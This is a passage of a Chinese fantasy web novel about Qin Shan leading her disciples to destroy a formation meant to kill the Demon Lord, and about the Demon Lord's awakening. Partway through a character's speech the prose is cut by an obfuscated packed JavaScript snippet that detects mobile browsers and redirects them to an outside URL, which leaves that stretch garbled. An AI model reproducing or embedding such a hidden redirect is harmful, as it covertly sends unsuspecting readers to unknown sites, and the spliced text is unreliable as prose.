她算了一下时间,距离魔尊苏醒,还有不到三个月。 难道魔尊要提前醒来? 她问阿九:“你能看清那座宫殿吗?是什么样的?” 阿九闭上眼睛回想了一会儿,说:“很大,黑色的,周围有很多龙在飞。” 秦珊看向苍爵。 苍爵的脸色也变了:“师父,那好像是……苍澜殿。” 秦珊的心沉了下去。 苍澜殿。苍澜君的地方。 她深吸一口气,说:“阿九,你继续盯着这个画面,有任何新的细节立刻告诉我。苍爵,你通知苍烈他们,让他们这段时间加强戒备。” 两人应了一声,各自去忙。 秦珊走到窗边,看着外面的天空。 两年来,日子过得很平静。黑渊那次之后,再没有大的冲突。清泉道人像是消失了一样,再没出现过。秦瑶偶尔会传来消息,说她还在追查修真界的动向,一切正常。 但秦珊知道,平静只是暂时的。 魔尊快要醒了。 那个沉睡了几千年的男人,一旦醒来,整个魔界都会震动。 她摸了摸怀里的神龛。两年过去,神龛里的死亡气息已经积累了很多,足够释放五次死亡领域。归墟守卫的解锁条件她也摸清了:需要在生死边缘主动激活。她试过一次,在训练的时候故意让自己陷入危险,成功召唤出了一个归墟守卫。 那东西看起来像一团黑雾凝聚成的人形,没有实体,但战斗力惊人。一个归墟守卫能抵得上一个元婴期高手。唯一的缺点是召唤一次消耗大量死亡气息,用完之后要重新积累。 小光从她怀里钻出来,蹭了蹭她的脸。两年过去,小光已经有婴儿脑袋那么大,翅膀完全长成,飞起来的时候会拖出一条长长的光尾。它的灵智也提高了不少,能听懂复杂的指令,甚至能简单表达自己的想法。 秦珊摸了摸它,说:“小光,你说魔尊醒来了会怎么样?” 小光闪了闪,像是在说“不知道”。 秦珊笑了笑,把它塞回怀里。 不管怎么样,她都得做好准备。 下午,秦珊给学生们上课。 两年来,九个学生的进步都很明显。 苍烈已经是苍澜军的副统领,能独立指挥万人规模的战斗。他最喜欢的还是打架,但现在的打架跟以前不一样了。他会先分析敌情,再制定策略,最后才动手。上次跟黑蛟族的小规模冲突,他以少胜多,打得对方屁滚尿流。 苍擎还是不爱动脑子,但学会了听指挥。苍烈让他干什么他就干什么,执行力一流。他现在是苍烈的副手,两人配合默契。 苍羽负责情报,他的速度快,嘴也快,打听消息是一把好手。苍爵的信息网络加上苍羽的实地侦察,沧澜境内几乎没有秘密。 苍云的迷雾化身已经练到能笼罩整座城池的地步。上次演习,他一个人制造迷雾,让三千敌军在里面转了一整天出不来。 苍雷的雷电掌控越来越强,一雷下去能劈死一片。但他最大的进步是学会了控制脾气,不再动不动就发火。 苍风的速度快,准头也练出来了。他现在是苍烈麾下的神射手,百步穿杨。 苍月是唯一的女孩子,也是秦珊最疼的。她的月华之力能治愈伤口,能驱散负面状态,还能在夜晚增强队友的实力。她现在跟着秦珊学炼器,已经能独立炼制一些简单的法宝。 苍爵和阿九不用说,一个是信息中枢,一个是预警雷达,两人配合,让沧澜城固若金汤。 秦珊看着他们,心里很欣慰。 两年前,这些人还都是刺头,现在一个个都能独当一面了。 她清了清嗓子,说:“今天的课,讲点特别的。” 九个学生坐直了身子,等着她讲。 秦珊说:“你们都知道,魔尊快要醒了吧?” 众人点头。这事在魔界不是秘密,算算时间也差不多了。 秦珊说:“魔尊醒来之后,会发生什么,谁也不知道。但有一点可以确定:魔界会变。” 她顿了顿,继续说:“你们是苍澜君的儿子,是苍澜家的未来。魔尊醒来后,你们要怎么做,想过了吗?” 苍烈第一个开口:“师父,不管魔尊醒不醒,我们都会守住苍澜家。” 秦珊点点头:“守住苍澜家,然后呢?” 苍烈愣了一下,然后说:“然后……就这样?” 秦珊说:“就这样?你们不想往上走一走?不想让苍澜家变得更强大?不想在魔界有更大的话语权?” 苍烈沉默了。 苍羽说:“师父,魔尊醒来之后,九大魔君的位置会不会变?” 秦珊说:“有可能。魔尊沉睡了几千年,对现在的魔界未必满意。如果他觉得谁不行,换掉也有可能。” 苍羽的眼睛亮了:“那我们是不是有机会?” 秦珊看着他,说:“有机会,但也有风险。机会是留给有准备的人的。你们现在开始准备,到时候才能抓住机会。” 苍烈问:“师父,那我们该怎么准备?” 秦珊说:“第一,继续变强。不是个人实力,是整体实力。你们七兄弟要团结,要配合,要把苍澜军练成铁板一块。第二,多了解其他魔君的情况,知道他们的优势和弱点。第三,也是最关键的,要了解魔尊。” 苍爵插嘴道:“师父,魔尊的事我们知道得不多。他沉睡了几千年,很少有人见过他。” 秦珊说:“那就去查。查他以前的战绩,查他的性格,查他喜欢什么讨厌什么。知己知彼,才能应对。” 她看着九个学生,说:“这是你们接下来三个月的任务。三个月后,魔尊醒来,我要看到你们的成果。” 九个人齐声应道:“是!” 晚上,秦珊正在屋里炼器,忽然听见敲门声。 她打开门,外面站着一个穿暗红色长袍的女人。 秦瑶。 秦珊心里一喜,把她拉进屋:“姐,你怎么来了?” 秦瑶摘下面具,脸色有些疲惫,但眼神里带着一丝兴奋:“我查到了一些东西。” “什么?” 秦瑶说:“清泉道人这两年不是消失了,是在准备一个大动作。他联合了修真界的几个大门派,准备在魔尊苏醒那天动手。” 秦珊一愣:“动手?动什么手?” 秦瑶说:“他们想在魔尊苏醒的瞬间,趁他虚弱,一举击杀他。” 秦珊倒吸一口凉气。 击杀魔尊? 她问:“他们疯了吗?魔尊再虚弱也是魔尊,化神期巅峰的存在,怎么可能被击杀?” 秦瑶说:“他们准备了一个大阵,叫九天诛魔阵,据说能困住魔尊一炷香的时间。一炷香,足够他们动手了。” 秦珊沉默了一会儿,说:“他们有多少人?” 秦瑶说:“至少十个化神期,三十个元婴期,还有上百个金丹期。几乎是修真界一半的顶尖战力。” 秦珊心里沉甸甸的。 如果这些人真的动手,魔界会怎么样? 魔尊如果死了,修真界会不会趁势进攻? 她忽然想到阿九的预知:一个月后,魔界将有大事发生,很多人会死。 难道就是指这个? 她问秦瑶:“这个消息确切吗?” 秦瑶说:“我亲眼看见了他们的布置。九天诛魔阵需要九九八十一天布阵,现在已经布了六十多天。一个月后,正好是魔尊苏醒的日子。” 秦珊算了一下,一个月后,确实是魔尊苏醒的日子。 她深吸一口气,说:“姐,谢谢你。这个消息太重要了。” 秦瑶说:“你打算怎么办?” 秦珊想了想,说:“我得告诉苍澜君。” 秦瑶点点头:“那我走了。你自己小心。” 秦珊拉住她:“姐,你别走了。这次的事太大,我需要你帮忙。” 秦瑶犹豫了一下,然后点点头:“好。” 第二天一早,秦珊带着秦瑶去见苍澜君。 苍澜君听完她的话,沉默了很久。 然后他说:“你知道你在说什么吗?修真界一半的顶尖战力,来杀魔尊?” 秦珊说:“我知道。但消息可靠。” 苍澜君看着她,又看看秦瑶,说:“这位是?” 秦珊说:“我姐姐,秦瑶。消息是她查到的。” 苍澜君点点头,没再追问。他说:“如果消息是真的,那这件事就大了。魔尊如果出事,魔界就完了。” 秦珊说:“所以我们得阻止他们。” 苍澜君说:“怎么阻止?去跟魔尊说?魔尊还在沉睡,谁也见不到他。” 秦珊说:“不一定非要见魔尊。我们可以提前破坏他们的阵法。” 苍澜君挑眉:“你知道阵法在哪?” 秦瑶开口了:“在魔界东域和修真界的交界处,一个叫断魂谷的地方。那里是两界之间的缝隙,平时没人去。” 苍澜君想了想,说:“断魂谷我知道。那里环境恶劣,确实适合布阵。不过要破坏阵法,得深入修真界的地盘,风险很大。” 秦珊说:“我去。” 苍澜君看着她,沉默了一会儿,说:“你?你一个人?” 秦珊说:“我一个人不够。我需要帮手。” 苍澜君说:“你想要谁?” 秦珊说:“苍烈他们七个,加上苍爵和阿九。还有,我想请苍影他们五个也去。” 苍澜君皱起眉头:“你带这么多人去,万一出事怎么办?” 秦珊说:“不会出事的。我有计划。” 她把昨晚想了一夜的方案说了出来。 苍澜君听完,眼神里多了一丝欣赏:“你这个脑子,真是……行,就按你说的办。苍影他们五个跟你去。至于苍烈他们,你自己去跟他们说。” 秦珊点点头,告辞离开。 下午,秦珊把九个学生召集到一起,把情况说了一遍。 苍烈第一个跳起来:“师父,你说的是真的?修真界要杀魔尊?” 秦珊说:“是真的。” 苍烈说:“那我们赶紧去阻止啊!” 秦珊说:“是要去。但我需要你们帮我。” 苍烈拍拍胸脯:“师父你说,我们听你的。” 秦珊看着他们,说:“这次的任务很危险。可能会死。你们要想清楚。” 苍羽说:“师父,这两年你教我们那么多,不就是让我们变强吗?现在有机会实战,我们求之不得。” 苍雷说:“就是!天天演习演习,早就想真刀真枪干一场了!” 苍月小声说:“师父,我也去。” 秦珊看着她,说:“你太小了,留下。” 苍月急了:“我不小!我十七了!我能帮忙!” 秦珊想了想,说:“那你去可以,但要听指挥,不许乱跑。” 苍月用力点头。 秦珊看向苍爵和阿九:“你们俩是这次行动的关键。苍爵,你的天赋要覆盖全场,监控每一个人的位置和状态。阿九,你的预知要随时预警,有任何危险提前告诉我们。” 两人点头。 秦珊说:“好,明天出发。今晚好好休息。” 第二天清晨,一行人悄悄离开沧澜城。 苍影带着四个手下在前面探路,秦珊带着九个学生跟在后面。为了不引人注意,他们都化了妆,换了普通魔族的装束。 一路向东。 走了三天,他们来到魔界东域的边缘。 再往前,就是两界之间的缝隙地带,荒凉贫瘠,寸草不生。断魂谷就在这片区域的深处,靠近修真界的那一侧。 苍影回来报告:“前面就是缝隙地带了。再往前走,可能会遇到修真界的巡逻队。” 秦珊点点头,说:“大家都小心。苍爵,把你的天赋打开,覆盖周围十里。” 苍爵闭上眼睛,片刻后说:“好了。” 秦珊说:“阿九,你随时准备预知。” 阿九点点头。 一行人继续前进。 缝隙地带的环境确实恶劣。到处都是黑色的岩石,地面裂开一道道深深的沟壑,不时有岩浆从地底涌出。空气中弥漫着硫磺的味道,呛得人直咳嗽。 走了大半天,苍爵忽然说:“师父,前面有人。” 秦珊心里一紧:“多少人?” 苍爵感应了一下,说:“五个,都是金丹期。应该是巡逻队。” 秦珊想了想,说:“绕过去。别惊动他们。” 苍爵点点头,指引他们绕了一个大圈,避开了那支巡逻队。 又走了两个时辰,阿九忽然说:“师父,我看见画面了。” 秦珊问:“什么画面?” 阿九说:“前面有一个很大的山谷,山谷里有光,有很多人在那里走来走去。” 秦珊心里一喜:“那就是断魂谷。快到了。” 她让队伍停下来,先派苍影去侦察。 半个时辰后,苍影回来,说:“秦师父, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365204|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面就是断魂谷。谷里有不少人,至少上百个。他们在布置一个很大的阵法,看样子快完工了。” 秦珊问:“有高手吗?” 苍影说:“有。我感应到至少五个化神期的气息,都在谷底。” 秦珊沉默了一会儿,说:“硬闯不行。得想办法混进去。” 苍羽说:“师父,我可以试试。我速度快,能隐身,进去看看。” 秦珊摇摇头:“太危险。化神期的神识能看穿隐身。” 苍云说:“师父,我的迷雾能掩护。” 秦珊想了想,说:“这样,苍云先用迷雾笼罩谷口,制造混乱。然后苍羽趁机进去,只看阵法的关键位置,不要动手。看完立刻回来。” 两人点头。 计划开始。 苍云释放迷雾,浓白色的雾气迅速向谷口涌去。谷里传来一阵惊呼声,有人在大喊:“怎么回事?哪来的雾?” 趁着混乱,苍羽化作一道残影,冲进谷里。 秦珊紧张地等着。 一炷香后,苍羽回来了。他脸色发白,喘着粗气说:“师父,看清楚了。阵法核心在谷底,有一个巨大的光柱,周围有五个化神期守着。光柱下面埋着什么东西,我看不清。” 秦珊问:“有办法破坏吗?” 苍羽说:“除非把那五个化神期引开,不然没机会。” 秦珊沉默了一会儿,说:“那就引开他们。” 苍烈问:“怎么引?” 秦珊说:“我们分头行动。苍影你们五个,假装偷袭,吸引他们的注意力。苍烈你们七个,负责对付那些金丹元婴。苍爵监控全场。阿九预警。我趁机进去破坏阵法。” 苍烈说:“师父,你一个人进去太危险了。” 秦珊说:“我有神龛,有归墟守卫,能应付。你们只要拖住那五个化神期一炷香,就够了。” 众人还想说什么,但看见秦珊的眼神,都闭上了嘴。 行动开始。 苍影带着四个手下,率先冲向谷底。 他们的身影在雾气中若隐若现,速度快得惊人。五个化神期修士感应到敌袭,立刻迎上来。 一时间,谷底爆发出激烈的战斗声。 苍烈他们也冲了进去,跟那些金丹元婴打在一起。苍烈化身巨龙,一爪子拍飞一个金丹;苍擎力量爆发,一拳轰碎一个元婴的脑袋;苍羽速度快如闪电,匕首在敌人喉间划过;苍云的迷雾笼罩全场,让敌人分不清方向;苍雷一道道雷电劈下,炸得敌人四处乱窜;苍风的箭矢精准无比,每一箭都带走一个敌人;苍月跟在后面,用月华之力给哥哥们治疗伤势。 苍爵站在远处,闭着眼睛,把每一个人的位置和状态通过天赋传递给所有人。 阿九紧紧抓着秦珊的衣角,说:“师父,我看见你了。你冲进去了,成功了。” 秦珊心里一振,摸摸他的头,然后冲进谷里。 雾气中,她一路狂奔,按照苍羽说的方向,找到了那道光柱。 光柱粗大无比,直冲云霄,散发着耀眼的光芒。光柱下面,埋着一块巨大的玉石,玉石上刻满了复杂的符文。 秦珊用眼见为识扫了一眼: 【九天诛魔阵核心,布置中,进度百分之九十。破坏方法:摧毁阵眼玉石,或破坏符文结构。】 进度百分之九十。再晚几天,阵法就完成了。 秦珊拿出神龛,释放死亡领域。黑色的雾气涌出,跟苍云的迷雾混在一起,向光柱侵蚀过去。 但光柱有防护,死亡气息刚一靠近就被弹开。 秦珊皱起眉头。她想了想,把神龛收起来,拿出小光。 “小光,你能钻进那个光柱里吗?” 小光闪了闪,从她怀里飞出来,向光柱飞去。它飞到光柱边缘,犹豫了一下,然后一头扎了进去。 光柱剧烈波动起来。 小光在里面横冲直撞,它所到之处,光芒都暗淡了一些。那些符文被它的光芒灼烧,开始出现裂痕。 秦珊紧张地盯着。 远处传来一声怒吼,一个化神期修士摆脱了苍影,向这边冲来。 秦珊没动,继续盯着光柱。 那个修士越来越近,离她只有十丈了。 就在这时候,光柱忽然剧烈震动,然后轰然倒塌。 小光从废墟里飞出来,落在秦珊肩膀上,光芒暗淡了不少,像是累坏了。 秦珊抱住它,转身就跑。 那个修士追上来,一掌拍下。 秦珊来不及躲,只能硬扛。她释放死亡领域,黑色雾气挡住了一部分掌力,但还是有大部分落在她身上。 她喷出一口血,整个人飞了出去,重重摔在地上。 那个修士还要追,但苍影赶到了,一刀斩下,逼退了他。 秦珊挣扎着爬起来,对苍影喊:“撤退!” 苍影一把抱起她,向外冲去。 其他人也接到苍爵的传讯,纷纷撤退。 一场混战,持续了不到一炷香。 三天后,秦珊躺在沧澜城的家里,浑身缠满了绷带。 那一掌差点要了她的命。还好有死亡领域挡了一下,还好苍影及时赶到,不然她真的交代在那里了。 小光趴在她枕头边,也是无精打采的。它在光柱里消耗了太多能量,得养好久才能恢复。 阿九坐在床边,眼睛红红的,一直看着她。 苍爵站在门口,脸色也很难看。 秦珊笑了笑,说:“都怎么了?我不是活着回来了吗?” 阿九说:“师父,你差点死了。我看见了,那个画面,你吐血飞出去的时候,我以为你……” 他说不下去了。 秦珊伸手摸了摸他的头,说:“没事,师父命大。” 苍爵走过来,说:“师父,阵法真的破坏了吗?” 秦珊点点头:“破坏了。小光把阵眼玉石烧坏了,符文也毁了。修真界想重新布置,至少得再花一年。” 苍爵松了口气。 秦珊说:“魔尊还有不到三个月就醒了。他们来不及了。” 苍烈他们挤在门口,一个个脸上都是劫后余生的庆幸。苍烈说:“师父,你太猛了。一个人冲进去,硬扛化神期一掌,还把阵法破坏了。” 秦珊说:“不是我猛,是小光猛。” 她看了看小光,小光微微闪了闪,像是在说“不客气”。 秦珊笑了笑,然后咳嗽了两声,牵动了伤口,疼得龇牙咧嘴。 苍月赶紧跑过来,用月华之力帮她治疗。暖暖的光芒笼罩着她,疼痛减轻了不少。 秦珊说:“行了,你们都回去吧。我休息几天就好了。” 众人散去,屋里安静下来。 秦珊闭上眼睛,脑子里回想起断魂谷那一幕。 那一掌拍下来的时候,她以为自己真的要死了。那种濒死的感觉,很可怕,也很真实。 但她也第一次真正体会到,什么叫生死边缘。 神龛里的死亡气息,在那之后又浓了几分。归墟守卫的召唤方法,她也摸得更清楚了。 如果下次再遇到危险,她应该能更从容地应对。 她摸了摸怀里的神龛,又看了看小光,嘴角微微上扬。 不管怎么样,她活下来了。 修真界的计划破产了,魔尊安全了。 接下来,就是等魔尊醒来。 三个月后,那个传说中的男人,会是什么样子? 她有些期待,也有些紧张。 9. 第9章魔尊苏醒 秦珊在床上躺了半个月才能下地。 那化神期修士的一掌太重了,虽然被死亡领域卸掉大半力道,余劲还是震伤了她的内脏。苍月的月华之力每天给她治疗,再加上她自己炼的丹药,才勉强把命保住。 这半个月她也没闲着,躺在床上把这段时间的事从头到尾想了一遍。 修真界的计划失败了,但不代表他们会善罢甘休。清泉道人没死,那几个化神期修士也没死,他们随时可能卷土重来。魔尊还有两个多月就醒了,到时候会是什么局面,谁也说不准。 她得抓紧时间恢复。 小光比她恢复得快,半个月过去又活蹦乱跳了。它每天趴在她枕头边,一闪一闪地陪着她,偶尔飞出去找苍爵他们要魔力结晶吃。秦珊看着它,心里暖暖的。 阿九每天来看她,把预见的碎片告诉她。最近他的预知越来越清晰,能看见魔尊苏醒那天的画面了。他说他看见一道很强的光从天而降,整个魔界都在震动,然后所有人都跪下了。 秦珊问他有没有看见自己,阿九摇摇头说看不见,每次想看清她的位置画面就模糊了。 这倒让秦珊松了口气。看不清是好事,说明她还有变数。 苍爵每天用天赋跟她沟通,汇报外面的情况。黑蛟族那边很安静,黑渊重伤之后一直在养伤,没再闹事。其他魔君的领地也都很平静,但平静底下藏着暗流。大家都知道魔尊快醒了,都在观望。 苍烈他们七个每天来请安,顺便汇报训练进度。苍烈说苍澜军又扩充了五千人,现在总兵力达到三万。苍羽说情报网络覆盖了东域所有主要城池,连黑蛟族内部都有了眼线。苍云说他的迷雾能笼罩整座苍澜城了,真打起来能让敌人找不到北。 秦珊听着,心里很欣慰。这些孩子真的长大了。 第十五天,她终于能下床走动了。 她做的第一件事是去看神龛。神龛里的死亡气息比之前浓了好几倍,那化神期修士的一掌,让她在生死边缘走了一遭,也让神龛吸收了不少她濒死时逸散的气息。她用眼见为识看了看,发现归墟守卫的解锁条件已经变成了“可召唤”。 她试了一次,召唤出一个归墟守卫。 那东西从神龛里钻出来,像一团黑雾凝聚成的人形,没有五官,没有实体,就那么飘在她面前。秦珊试着下命令,让它攻击院里的石凳。它飘过去,伸手一抓,石凳碎成粉末。 秦珊倒吸一口凉气。 这战斗力,比她想象的要强得多。 她把归墟守卫收回神龛,心里踏实了不少。有了这东西,下次再遇到化神期,她至少能扛几下。 又过了一个月,秦珊彻底恢复了。 这天她正在上课,忽然感觉整个地面震动了一下。 很轻微,但确实震了。 她抬起头,看向窗外。外面天色如常,没什么异常。 但阿九的脸色变了。 “师父,”他声音发颤,“我看见那道光了。就是今天。” 秦珊心里一紧。 魔尊要醒了。 她站起来,走到院子里。苍爵他们也跟出来,一个个紧张地盯着天空。 震动又来了,这次比上次强烈一些。然后是第三次,第四次,越来越强。 远处的云层开始翻涌,像是有东西在里面搅动。天边出现一道暗红色的光,从地平线上升起,越来越亮。 秦珊感觉到一股强大的威压从天而降。那威压之强,让她几乎喘不过气来。她身边的苍烈等人也脸色发白,苍月甚至站不稳,扶着墙才能勉强立住。 “跪下。” 不知道是谁喊了一声,院子里的人齐刷刷跪了下去。 秦珊没跪。不是不想跪,是膝盖不听使唤。她抬头看着天边那道红光,整个人像是被定住了一样。 红光越来越亮,最后整个天空都被染成了暗红色。云层散开,露出一个巨大的黑影。 那是一条龙。 不对,不是龙。是比龙更大,更威严,更可怕的东西。秦珊看不清它的样子,只能看见一个轮廓,但仅仅是那个轮廓,就让她心里生不出半点反抗的念头。 这就是魔尊。 那道黑影在天空中停留了片刻,然后缓缓下降,消失在远处的地平线下。 威压散去,秦珊一屁股坐在地上,大口喘气。 她看了看周围,苍烈他们也都瘫软在地上,一个个脸色煞白。苍月直接晕了过去,苍爵在给她掐人中。 过了好一会儿,苍烈才开口,声音沙哑:“那……那就是魔尊?” 秦珊点点头,说不出话。 她前世看书的时候,知道魔尊很强。但知道归知道,亲眼看见是另一回事。 那种威压,那种气势,那种让人连抬头都做不到的感觉,是她这辈子从来没有体验过的。 这就是魔界第一人。 守护了魔界几千年的存在。 魔尊苏醒的消息很快传遍了整个魔界。 但传得再快,也没有亲眼看见的人多。那天整个魔界的天空都变了颜色,那道暗红色的光从魔宫的方向升起,照亮了每一个角落。不管是在东域还是西域,不管是魔君还是小妖,所有人都感觉到了那股威压。 苍澜君当天就带着人去了魔宫。 他回来的时候,脸色很难看。 秦珊问他怎么了,他说:“魔尊醒了,第一件事就是召集九大魔君。我去了,黑渊也去了。” 秦珊问:“魔尊说什么?” 苍澜君说:“什么都没说。就让我们跪着,跪了三个时辰。” 秦珊愣住了。 苍澜君继续说:“我们九个跪在大殿里,他就坐在上面,一句话不说。就那么看着我们。三个时辰,一动不动。” 他的声音里带着一丝恐惧:“你知道那种感觉吗?被那样一双眼睛盯着,三个时辰。我活了这么多年,从来没这么怕过。” 秦珊沉默了一会儿,问:“然后呢?” 苍澜君说:“然后他挥挥手,让我们滚了。” 秦珊说:“他什么都没说?” 苍澜君说:“没有。但我懂他的意思。” 秦珊问:“什么意思?” 苍澜君看着她,说:“他在告诉我们,他醒了。从今以后,魔界谁说了算。” 秦珊懂了。 这就是魔尊的警告。不,不是警告,是宣示。他不需要说话,不需要发怒,只需要坐在那里,就让九大魔君跪了三个时辰。 这就是实力。 接下来几天,各地陆续传来消息。有七个魔君当天就表态,效忠魔尊,听候差遣。剩下两个没表态的,一个是苍澜君,一个是西域的幻魔君。 苍澜君不表态,是因为他还在观望。幻魔君为什么不表态,没人知道。 但第五天,幻魔君表态了。 不是主动表态的,是被逼的。 那天秦珊正在上课,忽然感觉到一股熟悉的威压。她抬头一看,天边又出现了那道暗红色的光。 但这次不是魔宫的方向,是西域。 那道光在西域上空停留了一炷香的时间,然后消失了。 第二天传来消息:幻魔君死了。 据说那天魔尊亲自去了西域,进了幻魔君的宫殿。没人知道里面发生了什么,只知道一炷香后魔尊出来,幻魔君再也没有出来。 剩下的七个魔君当天就跑去魔宫表忠心,跪了整整一天。 苍澜君也去了。 他回来之后,把秦珊叫过去,说:“我决定了,效忠魔尊。” 秦珊说:“你之前不是还在观望吗?” 苍澜君说:“观望什么?幻魔君什么下场你没看见?魔尊这是杀鸡儆猴。我再观望,下一个就是我。” 秦珊沉默了一会儿,说:“那你觉得魔尊这人怎么样?” 苍澜君想了想,说:“看不透。他杀了幻魔君,但没有动幻魔君的家人和部下。他说幻魔君不听话,所以杀了他,其他人无罪。” 秦珊愣了一下。 这作风,跟她之前在书里看到的很像。魔尊就是这样的人,认定了的事就做到底,但不迁怒,不滥杀。 苍澜君说:“我现在算是明白了,魔尊不是不管事,是不想管。但如果有人触了他的底线,他不会手软。” 秦珊点点头。 她忽然想起魔尊那双疲惫的眼睛。那样一个人,杀一个魔君就像捏死一只蚂蚁,但他看起来并不高兴。 可能对他来说,这只是不得不做的事。 又过了几天,魔宫那边传来消息:魔尊要巡视魔界。 九大魔君的领地,他要挨个走一遍。 第一站就是苍澜境。 苍澜君接到消息的时候,整个人都不好了。他派人把秦珊叫过去,问:“魔尊要来,怎么办?” 秦珊说:“什么怎么办?他来了你就接待呗。” 苍澜君说:“怎么接待?要准备什么?要不要列队欢迎?要不要准备宴席?” 秦珊看着他慌乱的样子,忍不住笑了:“苍澜君,你也是魔君,至于这么紧张吗?” 苍澜君瞪她一眼:“你知道个屁。上次跪了三个时辰,腿到现在还疼。” 秦珊说:“那你就正常接待。魔尊不是那种讲究排场的人。” 苍澜君将信将疑,但还是按照她的建议,没有大张旗鼓,只是把苍澜殿收拾了一下,准备了一些酒菜。 三天后,魔尊来了。 那天天气阴沉沉的,铅灰色的云层压得很低。秦珊站在人群里,看着天边出现的那道黑影。 不是龙形,是人形。 魔尊踏空而来,一步一步,像是走在无形的台阶上。他走得不快,但每一步落下,秦珊都感觉心脏跟着跳一下。 他落在大殿前的广场上,站在那里。 秦珊看清了他的脸。 那是一张很英俊的脸,轮廓分明,眉眼深邃。但他的眼神很冷,冷得像是千年寒冰。他扫了一眼广场上的人,所有人都低下了头。 苍澜君迎上去,行礼:“苍澜见过魔尊。” 魔尊点点头,没说话。 苍澜君把他请进殿里,秦珊也跟着进去了。她也不知道自己为什么能进去,可能是因为苍澜君让她跟着,也可能是因为魔尊看了她一眼。 殿里,魔尊坐在主位上,苍澜君陪坐在一旁。秦珊站在角落里,尽量降低自己的存在感。 魔尊开口了,声音很低沉:“苍澜,你儿子们呢?” 苍澜君一愣,然后说:“在,都在。要不要叫他们来?” 魔尊说:“叫来。” 苍澜君派人去叫。不一会儿,苍烈他们七个跑进来,齐刷刷跪了一地。 魔尊看着他们,说:“听说你们这两年学了不少东西?” 苍烈壮着胆子回答:“是,师父教得好。” 魔尊说:“谁是师父?” 苍烈指了指角落里的秦珊。 魔尊的目光落在秦珊身上。 秦珊心里一紧,硬着头皮走出来,行礼:“秦珊见过魔尊。” 魔尊看着她,沉默了一会儿,然后说:“你就是那个教书的人?” 秦珊说:“是。” 魔尊说:“过来。” 秦珊走过去,站在他面前。 魔尊上下打量了她一番,然后说:“你身上有归墟的气息。” 秦珊心里一震。 魔尊继续说:“归墟那地方,我都不敢进去。你进去了,还活着出来了。” 秦珊说:“是运气好。” 魔尊说:“不是运气。归墟认人,它选中了你。” 秦珊不知道该说什么。 魔尊挥挥手,说:“行了,你下去吧。” 秦珊退下,重新站到角落里。 魔尊看向苍烈他们,说:“你们几个,演示一下学的东西。” 苍烈他们面面相觑,不知道该怎么演示。 秦珊在旁边小声说:“下棋。” 苍烈反应过来,让人摆上棋盘,跟苍羽下了一盘。 魔尊看着,一言不发。 下完之后,他说:“就这?” 苍烈额头冒汗,不知道该说什么。 魔尊说:“棋盘上的输赢,跟战场上的输赢,是两回事。你们在棋盘上赢了,战场上未必能赢。” 苍烈低下头。 魔尊站起来,走到窗边,看着外面的云海。他说:“我睡了这么多年,醒来一看,魔界还是老样子。你们这些魔君,忙着争地盘,忙着内斗。下面的人,忙着打架,忙着变强。几千年了,一点进步都没有。” 殿里一片安静。 魔尊继续说:“修真界为什么越来越强?不是因为他们的修士有多厉害,是因为他们有传承,有门派,有脑子。一代代人积累下来,越来越强。魔界呢?除了打架还是打架,打完就忘,忘完再打。” 他转过身,看着苍澜君:“你儿子们愿意学东西,是好事。至少他们知道,除了打架,还有别的路。” 苍澜君说:“魔尊说得是。” 魔尊走回座位,重新坐下。他说:“我今天来,就是看看。看完就走。” 苍澜君说:“魔尊不多留几日?” 魔尊摇摇头:“不留。还有八家要走。” 他站起来,走到门口,忽然停下脚步。 他回头看了秦珊一眼,说:“你,有空来魔宫一趟。” 说完,他踏空而起,消失在云层里。 秦珊愣在原地。 魔尊让她去魔宫?干什么? 苍澜君走过来,拍拍她的肩膀,说:“你被魔尊盯上了。” 秦珊苦笑:“我知道。” 魔尊走了之后,苍澜境恢复了平静。 但秦珊平静不了。她一直在想,魔尊为什么要她去魔宫? 她想了两天,没想明白。 第三天,她决定不想了。去就去,反正躲不过。 她收拾了一下,带上小光,带上神龛,出发去魔宫。 这次不用传送阵,她直接飞过去。她的修为已经到金丹期,飞行不是问题。飞了三天,她再次站在魔宫门口。 还是那个巨大的黑色宫殿,还是那两个化神期的守卫。 守卫看见她,什么都没说,直接打开门让她进去。 她顺着上次的路,走到那扇巨大的门前。 推开门,走进去。 魔尊还是坐在那张黑色的座椅上,一只手撑着下巴,像是在想事情。看见她进来,他抬起头。 “来了。” 秦珊走过去,行礼:“秦珊见过魔尊。” 魔尊说:“坐。” 秦珊一愣。坐?坐哪儿? 魔尊指了指旁边的一个蒲团。 秦珊走过去,坐下。 魔尊看着她,说:“知道我为什么叫你来吗?” 秦珊摇摇头。 魔尊说:“我想问你一些事。” 秦珊说:“您问。” 魔尊说:“你教那些学生的东西,是从哪儿学来的?” 秦珊心里一紧。这问题不好回答。 她想了想,说:“从我来的地方。” 魔尊说:“你来的地方,是哪儿?” 秦珊说:“一个很远的地方。没有修真界,没有魔界,只有普通人。” 魔尊说:“那个地方的人,都像你这样吗?” 秦珊说:“不像。我是普通人里最普通的一个。比我聪明的人,多得是。” 魔尊沉默了一会儿,然后说:“那个地方,我想去看看。” 秦珊愣住了。 魔尊说:“我守了魔界几千年,守累了。我想换个地方,看看不一样的世界。” 秦珊不知道该说什么。 魔尊看着她,说:“你能带我去吗?” 秦珊沉默了很久,然后说:“魔尊,我去不了那个地方了。我来这里的时候,就回不去了。” 魔尊的眼神暗了暗。 秦珊说:“但我可以把那个地方的东西教给您。您想学什么,我都可以教。” 魔尊看着她,说:“你愿意教我?” 秦珊说:“愿意。您是魔尊,您想学,我当然教。” 魔尊沉默了一会儿,然后说:“好。” 秦珊说:“那您什么时候来上课?” 魔尊说:“随时。” 秦珊说:“那我回去准备一下。您来了,我给您讲。” 魔尊点点头。 秦珊站起来,准备告辞。 魔尊忽然说:“等一下。” 秦珊停下脚步。 魔尊说:“你体内的禁制,我帮你解了。” 秦珊一愣。 魔尊抬起手,一道黑色的光芒从他指尖射出,没入秦珊体内。秦珊只觉得浑身一热,然后一股剧痛从丹田传来,像是有什么东西被硬生生撕碎。 剧痛持续了几息,然后消失了。 秦珊喘着粗气,发现自己出了一身汗。 她用眼见为识看自己: 